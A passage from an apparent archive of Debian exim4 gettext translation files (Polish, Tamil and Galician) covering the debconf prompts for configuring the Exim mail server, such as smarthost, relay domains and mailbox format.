/var/mail/. With Maildir format every single " "message is stored in a separate file in ~/Maildir/." msgstr "" "Exim może dostarczać pocztę w różnych formatach. Dwa najpopularniejsze to " "mbox i Maildir. W formacie mbox, każda skrzynka to jeden plik w katalogu /" "var/mail/. W formacie Maildir, każda wiadomość jest w osobnym pliku w ~/" "Maildir/." #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Please note that most mail tools in Debian expect the local delivery method " "to be mbox in their default." msgstr "" "Należy pamiętać, że większość narzędzi pocztowych w Debianie domyślnie " "zakłada, że poczta jest dostarczana w formacie mbox." debian/po/ta.po0000644000000000000000000011176112027557533010570 0ustar # translation of exim4_debian_po_ta.po to TAMIL # # Translators, if you are not familiar with the PO format, gettext # documentation is worth reading, especially sections dedicated to # this format, e.g. by running: # info -n '(gettext)PO Files' # info -n '(gettext)Header Entry' # Some information specific to po-debconf are available at # /usr/share/doc/po-debconf/README-trans # or http://www.debian.org/intl/l10n/po-debconf/README-trans# # Developers do not need to manually edit POT or PO files. # # drtvasudevan , 2007. # Dr.T.Vasudevan , 2007. msgid "" msgstr "" "Project-Id-Version: exim4_debian_po_ta\n" "Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" "POT-Creation-Date: 2007-07-18 08:29+0200\n" "PO-Revision-Date: 2007-07-08 11:31+0530\n" "Last-Translator: Dr.T.Vasudevan \n" "Language-Team: TAMIL \n" "Language: \n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: KBabel 1.11.4\n" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "Remove undelivered messages in spool directory?" msgstr "கண்டு அடைவிலிருந்து சேர்ப்பிக்கப் படாத அஞ்சல்களை நீக்கவா? " #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "There are e-mail messages in the Exim spool directory /var/spool/exim4/" "input/ which have not yet been delivered. Removing Exim will cause them to " "remain undelivered until Exim is re-installed." msgstr "" "எக்ஸ் இம் கண்டு அடைவு /var/spool/exim4/input இல் இது வரை சேர்ப்பிக்கப் படாத சில " "அஞ்சல்கள் உள்ளன. எக்ஸ் இம் ஐ நீக்குவதால் அவை எக்ஸ் இம் ஐ மீண்டும் நிறுவும் வரை சேர்ப்பிக்கப் " "படாமலே இருக்கும். " #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "If this option is not chosen, the spool directory is kept, allowing the " "messages in the queue to be delivered at a later date after Exim is re-" "installed." msgstr "" "இந்த தேர்வை தேர்ந்தெடுக்கவில்லையானால் கண்டு அடைவு அப்படியே வைக்கப் படும். அதனால் எக்ஸ் இம் " "மீண்டும் நிறுவப் படும் போது க்யூவில் உள்ள செய்திகள் பின்னால் ஒரு தேதியில் சேர்ப்பிக்க இயலும்." #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "Reconfigure exim4-config instead of this package" msgstr "இந்த பணிதொகுப்புக்கு பதில் எக்ஸ் இம் 4 ஐ மீண்டும் வடிவமைக்கவும்." #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "" "Exim4 has its configuration factored out into a dedicated package, exim4-" "config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." msgstr "" "எக்ஸ் இம்4 இன் வடிவமைப்பு பிரத்யேக பொதி exim4-config இல் வரையப் பட்டுள்ளது. நீங்கள் எக்ஸ் " "இம்4 ஐ மீண்டும் வடிவமைக்க விரும்பினால் 'dpkg-reconfigure exim4-config' என்ற கட்டளையை " "பயன் படுத்தவும்." #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "internet site; mail is sent and received directly using SMTP" msgstr "இணையதளம். அஞ்சல் எஸ்எம்டிபி வழியாக நேரடியாக அனுப்பப் பட்டு பெறப்படுகிறது." #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; received via SMTP or fetchmail" msgstr "" "அஞ்சல் ஸ்மார்ட் ஹோஸ்ட் வழியாக அனுப்பப் பட்டு எஸ்எம்டிபி அல்லது பெஃட்ச்மெயில் வழியாக " "பெறப்படுகிறது." #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; no local mail" msgstr "அஞ்சல் ஸ்மார்ட் ஹோஸ்ட் வழியாக அனுப்பப் பட்டது; உள்ளமை அஞ்சல் இல்லை" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "local delivery only; not on a network" msgstr "உள்ளமை அஞ்சல் மட்டும்; வலையமைப்பில் இல்லை" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "no configuration at this time" msgstr "இந்த நேரத்தில் வடிவமைப்பு இல்லை" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "General type of mail configuration:" msgstr "பொதுவான அஞ்சல் வடிவமைப்பு:" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Please select the mail server configuration type that best meets your needs." msgstr "உங்கள் தேவையை பூர்த்தி செய்யும் அஞ்சல் வடிவமைப்பை தேர்ந்தெடுங்கள்." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Systems with dynamic IP addresses, including dialup systems, should " "generally be configured to send outgoing mail to another machine, called a " "'smarthost' for delivery because many receiving systems on the Internet " "block incoming mail from dynamic IP addresses as spam protection." msgstr "" "இயங்குநிலை ஐபி முகவரிகளை கொண்ட கணினிகள் -டயலப் கணினிகள் உட்பட- பொதுவாக வெளிச்செல்லும் " "அஞ்சல்கள் 'ஸ்மார்ட் ஹோஸ்ட்' எனப்படும் இன்னொரு கணினிக்குச் செல்லும்பட வடிவமைக்கப் படவேண்டும். " "ஏனெனில் இணையதளத்தில் உள்ள பல அஞ்சல் பெறும் அமைப்புகள் இயங்குநிலை ஐபி முகவரிகளை கொண்ட " "கணினிகளிடமிருந்து வரும் அஞ்சல்களை எரிதம் பாதுகாப்பு கருதி தடுத்து விடுகின்றன." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "A system with a dynamic IP address can receive its own mail, or local " "delivery can be disabled entirely (except mail for root and postmaster)." msgstr "" "இயங்குநிலை ஐபி முகவரியை கொண்ட கணினி தன்னிடமிருந்தே அஞ்சல் பெற இயலும். அல்லது (அஞ்சல் " "அதிகாரி, ரூட் தவிர ) உள் வினியோகம் அனைத்தையும் முற்றும் செயலிழக்கச் செய்யலாம்." #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "Really leave the mail system unconfigured?" msgstr "அஞ்சல் அமைப்பை உண்மையாக வடிவமைக்காமல் விடவா?" #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "" "Until the mail system is configured, it will be broken and cannot be used. " "Configuration at a later time can be done either by hand or by running 'dpkg-" "reconfigure exim4-config' as root." msgstr "" "அஞ்சல் அமைப்பு வடிவமைக்கப் படும் வரை அது சிதைந்து பயன் படுத்த இயலாது இருக்கும். பின் ஒரு " "சமயம் கை முறையாகவோ ரூட் ஆக 'dpkg-reconfigure exim4-config' கட்டளையாலோ வடிவமைப்பை " "செய்ய இயலும்." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "System mail name:" msgstr "கணினியின் அஞ்சல் பெயர்:" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "The 'mail name' is the domain name used to 'qualify' mail addresses without " "a domain name." msgstr "" "'அஞ்சல் பெயர் ' என்பது களப் பெயர் இல்லாத அஞ்சல் முகவரிகளை 'தகுதி படுத்தும்' களப் பெயர். " #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name will also be used by other programs. It should be the single, " "fully qualified domain name (FQDN)." msgstr "" "இந்த பெயர் மற்ற நிரல்களாலும் பயன்படுத்தப்படலாம். இது தனி முழுமையாக ஏற்கப்பட்ட களப்பெயர் " "(FQDN) ஆக இருக்க வேண்டும்." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "Thus, if a mail address on the local host is foo@example.org, the correct " "value for this option would be example.org." msgstr "" "இவ்வாறாக ஒரு உள்ளமை புரவலனின் அஞ்சல் முகவரி foo@example.org ஆனால், இந்த தேர்வுக்கு " "சரியான மதிப்பு example.org ஆகும்." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name won't appear on From: lines of outgoing messages if rewriting is " "enabled." msgstr "" "மறு எழுதல் செயலாக்கி இருப்பின் இந்தப் பெயர் வெளி செல்லும் அஞ்சல்களில் From: வரிகளில் " "காணப்படாது." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "Other destinations for which mail is accepted:" msgstr "எந்த மற்ற இலக்குகளுக்காக அஞ்சல் பெற்றுக்கொள்ளப் படும்:" #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "machine should consider itself the final destination. These domains are " "commonly called 'local domains'. The local hostname (${fqdn}) and " "'localhost' are always added to the list given here." msgstr "" "எந்த பெறும் களங்களுக்கு இந்த கணினி இறுதி இலக்காக வேண்டும் என (;) அரைப் புள்ளியால் " "பிரிக்கப் பட்ட பட்டியலை உள்ளிடுக. இந்த களங்கள் பொதுவாக 'உட்களங்கள்' எனப் படும். உள்புரவலன் " "பெயர் (${fqdn}) மற்றும் 'உள்புரவலன்' ஆகியன எப்போதுமே பட்டியலில் சேர்க்கப்படும்." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "By default all local domains will be treated identically. If both a.example " "and b.example are local domains, acc@a.example and acc@b.example will be " "delivered to the same final destination. If different domain names should be " "treated differently, it is necessary to edit the config files afterwards." msgstr "" "முன்னிருப்பாக எல்லா உட்களங்களும் ஒன்றாகவே பாவிக்கப் படும். அ.உதாரணம் ஆ.உதாரணம் என இரு " "உட்களங்கள் இருப்பின் கணக்கு@அ.உதாரணம் கணக்கு@ஆ.உதாரணம் என முகவரியிட்ட இரு அஞ்சல்களுமே " "ஒரே இலக்கில் வினியோகம் செய்யப்படும். களப் பெயர்கள் வித்தியாசமாக பாவிக்கப் பட வடிவமைப்பு " "கோப்புக்களை பின்னால் திருத்த வேண்டும்." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Domains to relay mail for:" msgstr "எந்த களங்களுக்கு அஞ்சல் மேலனுப்பப் படும்:" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "system will relay mail, for example as a fallback MX or mail gateway. This " "means that this system will accept mail for these domains from anywhere on " "the Internet and deliver them according to local delivery rules." msgstr "" "எந்த பெறும் களங்களுக்கு -உதாரணமாக மாற்று ஏற்பாடு MX அல்லது அஞ்சல் நுழைவாயில்- இந்த " "கணினி அஞ்சலை மேலனுப்ப வேண்டும் என (;) அரைப் புள்ளியால் பிரிக்கப் பட்ட பட்டியலை உள்ளிடுக. " "இதனால் இந்த கணினி இணையத்தில் எந்த இடத்திலிருந்தும் இந்த களங்களில் இருந்து அஞ்சல்களைப் பெற்று " "உள் வினியோக விதிகள் படி வினியோகிக்கும்." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Do not mention local domains here. Wildcards may be used." msgstr "உட்களங்களை இங்கு குறிப்பிடாதீர்கள். குறிப்பில் குறிகளை பயன் படுத்தலாம்." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "Machines to relay mail for:" msgstr "எந்த இயந்திரங்களுக்கு அஞ்சல் மேலனுப்பப் படும்:" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "Please enter a semicolon-separated list of IP address ranges for which this " "system will unconditionally relay mail, functioning as a smarthost." msgstr "" "எந்த ஐபி முகவரி வீச்சுகளுக்கு இந்த கணினி ஸ்மார்ட் ஹோஸ்ட் ஆக செயல் பட்டு அஞ்சலை வரையின்றி " "மேலனுப்ப வேண்டும் என (;) அரைப் புள்ளியால் பிரிக்கப் பட்ட பட்டியலை உள்ளிடுக." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " "5f03:1200:836f::/48)." msgstr "" "நீங்கள் செந்தரமான address/prefix ஒழுங்கை பயன் படுத்தவேண்டும். (e.g. 194.222.242.0/24 " "or 5f03:1200:836f::/48)." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "If this system should not be a smarthost for any other host, leave this list " "blank." msgstr "" "இந்த கணினி மற்ற எந்த புரவலனுக்கும் ஸ்மார்ட் ஹோஸ்ட் ஆக இல்லை எனில் இந்த பட்டியலை வெற்றாக " "விடவும்." #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "Visible domain name for local users:" msgstr "உள் பயனிகளுக்கு களப் பெயர்:" #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "" "The option to hide the local mail name in outgoing mail was enabled. It is " "therefore necessary to specify the domain name this system should use for " "the domain part of local users' sender addresses." msgstr "" "வெளிச் செல்லும் அஞ்சல்களில் உள் அஞ்சல் பெயரை மறைக்க இந்த தேர்வு செயலாக்கப் பட்டது. ஆகவே " "உள்ளமை பயனர்களின் அனுப்புனர் முகவரியில் களப் பெயர் பகுதிக்கான களப் பெயரை குறிப்பிடுதல் " "அவசியம்." #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "IP address or host name of the outgoing smarthost:" msgstr "வெளிச்செல்லும் ஸ்மார்ட் ஹோஸ்ட் க்கு ஐபி முகவரி அல்லது புரவலன் பெயர்:" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "Please enter the IP address or the host name of a mail server that this " "system should use as outgoing smarthost. If the smarthost only accepts your " "mail on a port different from TCP/25, append two colons and the port number " "(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " "IPv6 addresses need to be doubled." msgstr "" "ஸ்மார்ட் ஹோஸ்ட் ஆக இந்த கணினி செயல் பட வேண்டிய அஞ்சல் சேவையகத்தின் புரவலன் பெயர் அல்லது ஐபி " "முகவரியை உள்ளிடுக. இந்த ஸ்மார்ட் ஹோஸ்ட் உங்கள் அஞ்சலை டிசிபி/25 அல்லாத ஒரு துறையில் " "பெற்றுக்கொள்ளுமானால் இரண்டு முக்காற் புள்ளிகளை இட்டு துறை எண்ணையும் குறிக்கவும். (எ-டு " "smarthost.example::587 அல்லது 192.168.254.254::2525).ஐபிவி6 முகவரிகளில் முக்காற் " "புள்ளிகளை இரட்டிப்பாக்க வேண்டும்." #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "If the smarthost requires authentication, please refer to the Debian-" "specific README files in /usr/share/doc/exim4-base for notes about setting " "up SMTP authentication." msgstr "" "ஸ்மார்ட் ஹோஸ்ட் க்கு உண்மைப் படுத்தல் தேவையானால் எஸ்எம்டிபி உண்மைப் படுத்தலை அமைத்தல் குறித்த " "குறிப்புகளுக்கு /usr/share/doc/exim4-base/ இல் டெபியனுக்கான README கோப்புகளை " "பார்க்கவும்." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Root and postmaster mail recipient:" msgstr "ரூட் மற்றும் அஞ்சல் அதிகாரி அஞ்சல் பெறுனர்:" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Mail for the 'postmaster', 'root', and other system accounts needs to be " "redirected to the user account of the actual system administrator." msgstr "" "'அஞ்சல் அதிகாரி', 'ரூட்' மற்றும் மற்ற கணினி கணக்குகளுக்கான அஞ்சல்கள் உண்மையான கணினி " "மேலாளரின் பயனர் கணக்குக்கு மாற்றி அனுப்பப்பட வேண்டும்." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "If this value is left empty, such mail will be saved in /var/mail/mail, " "which is not recommended." msgstr "" "இந்த மதிப்பு வெற்றாக விடப் பட்டால் அத்தகைய அஞ்சல்கள் /var/mail/mail அடைவில் சேமிக்கப் " "படும். அது விரும்பத் தக்கதல்ல." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Note that postmaster's mail should be read on the system to which it is " "directed, rather than being forwarded elsewhere, so (at least one of) the " "users listed here should not redirect their mail off this machine. A 'real-' " "prefix can be used to force local delivery." msgstr "" "அஞ்சல் அதிகாரிக்கான அஞ்சல்கள் அந்த அந்த கணினியிலேயே படிக்கப் பட வேண்டும். வேறு எங்கோ மேல் " "அனுப்பப் படக்கூடாது. ஆகவே இங்கு பட்டியலிடப் பட்ட பயனர்களில் ஒருவரின் அஞ்சலாவது இந்த " "கணினியிலிருந்து திருப்பி அனுப்பக் கூடாது. உள் வினியோகத்தை உறுதி செய்ய ஒரு " "'உண்மையான-' என்ற முன்னொட்டு அமைக்கப் பட வேண்டும்." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Multiple user names need to be separated by spaces." msgstr "பயனர் பெயர் பலவானால் வெற்று இடத்தால் அவை பிரிக்கப் பட வேண்டும்." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "IP-addresses to listen on for incoming SMTP connections:" msgstr "உள் வரும் எஸ்எம்டிபி இணைப்புகளுக்கு எதிர்நோக்கி கேட்கும் ஐபி முகவரிகள்." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "Please enter a semicolon-separated list of IP addresses. The Exim SMTP " "listener daemon will listen on all IP addresses listed here." msgstr "" "அரைப் புள்ளிகளால் பிரிக்கப் பட்ட ஒரு ஐபி முகவரி பட்டியலை உள்ளிடுக. எக்ஸ் இம் எஸெம்டிபி " "கேட்பான் கிங்கரன் இங்கு பட்டியலிட்ட ஐபி முகவரிகளை எதிர்நோக்கி கேட்டு இருக்கும்." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "An empty value will cause Exim to listen for connections on all available " "network interfaces." msgstr "" "காலியான மதிப்பு எக்ஸ் இம் ஐ வலைப்பின்னல் இடை முகத்தில் உள்ள எல்லா இணைப்புகளிலும் கேட்க " "வைக்கும்." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "If this system only receives mail directly from local services (and not from " "other hosts), it is suggested to prohibit external connections to the local " "Exim daemon. Such services include e-mail programs (MUAs) which talk to " "localhost only as well as fetchmail. External connections are impossible " "when 127.0.0.1 is entered here, as this will disable listening on public " "network interfaces." msgstr "" "இந்த கணினி பெச்மெய்ல் போன்ற உள் அமை சேவைகளிடமிருந்தோ அல்லது உங்கள் அஞ்சல் நிரல் " "உள்புரவலினிடம் (வெளி புரவலன் அல்ல) பேசுவதோ போன்ற அஞ்சல்களை மட்டும் பெறுமானால், உள்ளமை " "எக்ஸ் இம் கிங்கரனுக்கு வெளி இணைப்புக்களை தடுத்தல் சாலச் சிறந்தது. இதை செய்ய இங்கு " "127.0.0.1 என உள்ளிடுங்கள். அது பொது இடை முகங்களில் ஒட்டுக் கேட்பதை செயல் நீக்கும்." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" msgstr "" "டிஎன்எஸ் -கேள்விகளை முடிந்த வரை குறைவாக வைத்துக் கொள்க. (தேவையான போது டயல் செய்ய?)" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "In normal mode of operation Exim does DNS lookups at startup, and when " "receiving or delivering messages. This is for logging purposes and allows " "keeping down the number of hard-coded values in the configuration." msgstr "" "சதாரண பாணி எக்ஸ் இம் செயல் டிஎன்எஸ் ஐ துவக்கத்தின் போதும் செய்திகளை பெறும் போதும் அனுப்பும் " "போதும் பார்க்கும். இது பதிவேட்டில் பதிவு செய்யவும் வடிவமைப்பில் மதிப்பு எண்களை குறிப்பதை " "குறைக்கவும் பயன் படும். " #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "If this system does not have a DNS full service resolver available at all " "times (for example if its Internet access is a dial-up line using dial-on-" "demand), this might have unwanted consequences. For example, starting up " "Exim or running the queue (even with no messages waiting) might trigger a " "costly dial-up-event." msgstr "" "இந்த கணினிக்கு முழு டிஎன்எஸ் சேவை தீர்ப்பி எல்ல நேரங்களிலும் இல்லை எனில் (உதாரணமாக டயல் " "அப் இணைப்போ அல்லது டயல் ஆன் டிமாண்ட் இணைப்போதான் இணய இணைப்பு எனில்) இதனால் விரும்பத் தகாத " "நிகழ்வுகள் ஏற்படலாம். உதாரணமாக செய்திகள் இல்லாத போதும் எக்ஸ் இம் ஐ துவக்கி ஓட்டுவது " #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "This option should be selected if this system is using Dial-on-Demand. If it " "has always-on Internet access, this option should be disabled." msgstr "" "இந்த கணினி டயல் ஆன் டிமாண்ட் முறையை பயன் படுத்துமானால் இந்த தேர்வை தேர்ந்தெடுக்க வேண்டும். " "மாற்றாக எப்போதுமே வலையுடன் இணைக்கப் பட்டு இருப்பின் இந்த தேர்வை செயல் நீக்கம் செய்ய வேண்டும்." #. Type: title #. Description #: ../exim4-config.templates:12001 msgid "Mail Server configuration" msgstr "அஞ்சல் சேவையக வடிவமைப்பு" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "Split configuration into small files?" msgstr "வடிவமைப்பை சிறு கோப்புகளாக பிரிக்கவா?" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "The Debian exim4 packages can either use 'unsplit configuration', a single " "monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " "where the actual Exim configuration files are built from about 50 smaller " "files in /etc/exim4/conf.d/." msgstr "" "டெபியன் எக்ஸ்இம்4 பொதிகள் 'பிரிக்கப் படாத வடிவமைப்பையோ' (ஒரே பெரிய கோப்பான /etc/exim4/" "exim4.conf.template) அல்லது எக்ஸ் இம் வடிவமைப்பு கோப்புகள் /etc/exim4/conf.d/ " "யிலிருந்து 50 சிறு கோப்புகளிலிருந்து தொகுக்கப்பட் 'பிரிக்கப் பட்ட வடிவமைப்பையோ' பயன் " "படுத்துவதாகவோ இருக்கக் கூடும்." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "Unsplit configuration is better suited for large modifications and is " "generally more stable, whereas split configuration offers a comfortable way " "to make smaller modifications but is more fragile and might break if " "modified carelessly." msgstr "" "பெரிய அளவில் மாறுதல்களுக்கு வசதியாக இருப்பதாலும் பொதுவாக மேலும் உறுதியாக " "இருப்பதாலும் பிரிக்கப் படாத வடிவமைப்பே நல்லது. பிரிக்கப் பட்ட வடிவமைப்பில் சுலபமாக சிறு " "மாறுதல்களைச் செய்யலாம். ஆனால் இது மேலும் மெலிதானது. கவனக்குறைவாக மாறுதல்களைச் செய்தால் " "இது சிதைந்து விடக் கூடும்." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "A more detailed discussion of split and unsplit configuration can be found " "in the Debian-specific README files in /usr/share/doc/exim4-base." msgstr "" "பிரித்த பிரிக்காத வடிவமைப்புகள் பற்றி /usr/share/doc/exim4-base/ இல் டெபியனுக்கான " "README கோப்புகளில் மேலும் விரிவான விவாதங்கள் உள்ளன." #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "Hide local mail name in outgoing mail?" msgstr "வெளிச்செல்லும் அஞ்சலில் உள் அஞ்சல் பெயரை மறைக்கவா?" #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "" "The headers of outgoing mail can be rewritten to make it appear to have been " "generated on a different system. If this option is chosen, '${mailname}', " "'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" "Path are rewritten." msgstr "" "வேறு கணினியிலிருந்து அனுப்புவது போல தோற்றமளிக்கும்படி அஞ்சல்களின் தலைப்புக்களை மாற்றி " "எழுத இயலும். இந்த தேர்வை தேர்ந்தால் அனுப்புனர் (From,), பதில் எழுத(Reply-To), " "அனுப்புனர் மற்றும் திருப்புப் பாதை (Sender and Return-Path) ஆகியவற்றில் " "'${mailname}', 'localhost' மற்றும் '${dc_other_hostnames}' ஆகியவை மாற்றி எழுதப் " "படும்." #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "mbox format in /var/mail/" msgstr " /var/mail/ இல் எம்பாக்ஸ் ஒழுங்கு" #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "Maildir format in home directory" msgstr "இல்ல அடைவில் அஞ்சல் அடைவு ஒழுங்கு" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "Delivery method for local mail:" msgstr "உள் அஞ்சலுக்கு வினியோக முறை:" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Exim is able to store locally delivered email in different formats. The most " "commonly used ones are mbox and Maildir. mbox uses a single file for the " "complete mail folder stored in /var/mail/. With Maildir format every single " "message is stored in a separate file in ~/Maildir/." msgstr "" "எக்ஸ் இம் ஆல் உள் அஞ்சலுக்கு வெவ்வேறு ஒழுங்கு முறைகளை வைக்க இயலும். வழக்கமாக பயன்படுவது " "எம்பாக்ஸ் மற்றும் மெயில்டிர் எம்பாக்ஸ் முழுமையான அஞ்சல் அடைவுக்கு /var/mail/இல் ஒரே ஒரு " "கோப்பை பயன் படுத்துகிறது. மெயில்டிர் ஒழுங்கில் ஒவ்வொரு அஞ்சலும் ~/Maildir/. அடைவில் " "தனித்தனிக் கோப்பில் சேமிக்கப் படுகிறது." #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Please note that most mail tools in Debian expect the local delivery method " "to be mbox in their default." msgstr "" "டெபியன் இல் பெரும்பாலான அஞ்சல் கருவிகள் உள் அஞ்சல் வினியோகம் முன்னிருப்பாக எம்பாக்ஸ் ஆக " "இருக்க வேண்டும் என எதிர் பார்க்கின்றன என அறியவும்." debian/po/gl.po0000644000000000000000000007426312027557533010573 0ustar # Galician translation of exim4's debconf templates # Jacobo Tarrío , 2005, 2007. # msgid "" msgstr "" "Project-Id-Version: exim4\n" "Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" "POT-Creation-Date: 2007-07-18 08:29+0200\n" "PO-Revision-Date: 2007-07-15 16:41+0100\n" "Last-Translator: Jacobo Tarrío \n" "Language-Team: Galician \n" "Language: gl\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "Remove undelivered messages in spool directory?" msgstr "¿Borrar as mensaxes sen enviar do directorio de traballo?" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "There are e-mail messages in the Exim spool directory /var/spool/exim4/" "input/ which have not yet been delivered. Removing Exim will cause them to " "remain undelivered until Exim is re-installed." msgstr "" "Hai mensaxes no directorio de traballo de Exim, /var/spool/exim4/input/, que " "aínda non se entregaron. Se elimina Exim ha facer que queden sen entregar " "ata que reinstale Exim." #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "If this option is not chosen, the spool directory is kept, allowing the " "messages in the queue to be delivered at a later date after Exim is re-" "installed." msgstr "" "Se non se escolle esta opción consérvase o directorio de traballo, o que " "permite que as mensaxes da cola se envíen nunha data posterior despois de " "reinstalar Exim." #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "Reconfigure exim4-config instead of this package" msgstr "Reconfigure exim4-config no canto deste paquete" #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "" "Exim4 has its configuration factored out into a dedicated package, exim4-" "config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." msgstr "" "Exim4 ten a configuración separada nun paquete adicado, exim4-config. Para " "reconfigurar Exim4, empregue \"dpkg-reconfigure exim4-config\"." #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "internet site; mail is sent and received directly using SMTP" msgstr "sitio de Internet; o correo envíase e recíbese directamente por SMTP" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; received via SMTP or fetchmail" msgstr "o correo envíase por un servidor; recíbese por SMTP ou fetchmail" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; no local mail" msgstr "o correo envíase por un servidor; non hai 